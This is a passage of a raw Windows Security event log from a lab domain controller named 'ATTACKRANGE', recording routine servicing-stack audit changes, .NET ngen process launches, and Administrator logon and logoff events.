C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247341 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247340 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247339 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247338 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247337 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata.cdf-ms - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247336 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_en_9da4492827ac64e5.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247335 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_en-us_429cd25484dc6f94.cdf-ms - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247334 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_activedirectory_en-us_8c3f31d53041388d.cdf-ms - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247333 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_activedirectory_bedd0f1af87a5c73.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247332 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247331 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247330 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247329 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_en-us_9e576ab077991fe8.cdf-ms - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247328 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_activedirectory_en-us_a57c0c93e0b20e55.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247327 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_activedirectory_5d166ad940a9b76d.cdf-ms - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247326 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_b001352a7f7811a4.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247325 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_19ae85881f1c4f2d.cdf-ms - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247324 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247323 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247322 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247489 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xc84 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247488 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x470 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe94 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247487 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc84 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd00 - Creator Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Ngen.exe Update /Queue /Delay - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247486 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd00 - Creator Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Ngen.exe Update /Queue /Delay - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247494 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x138356 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247493 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x138356 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247492 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247491 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247490 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x11BD5B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247509 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144216 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247508 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: 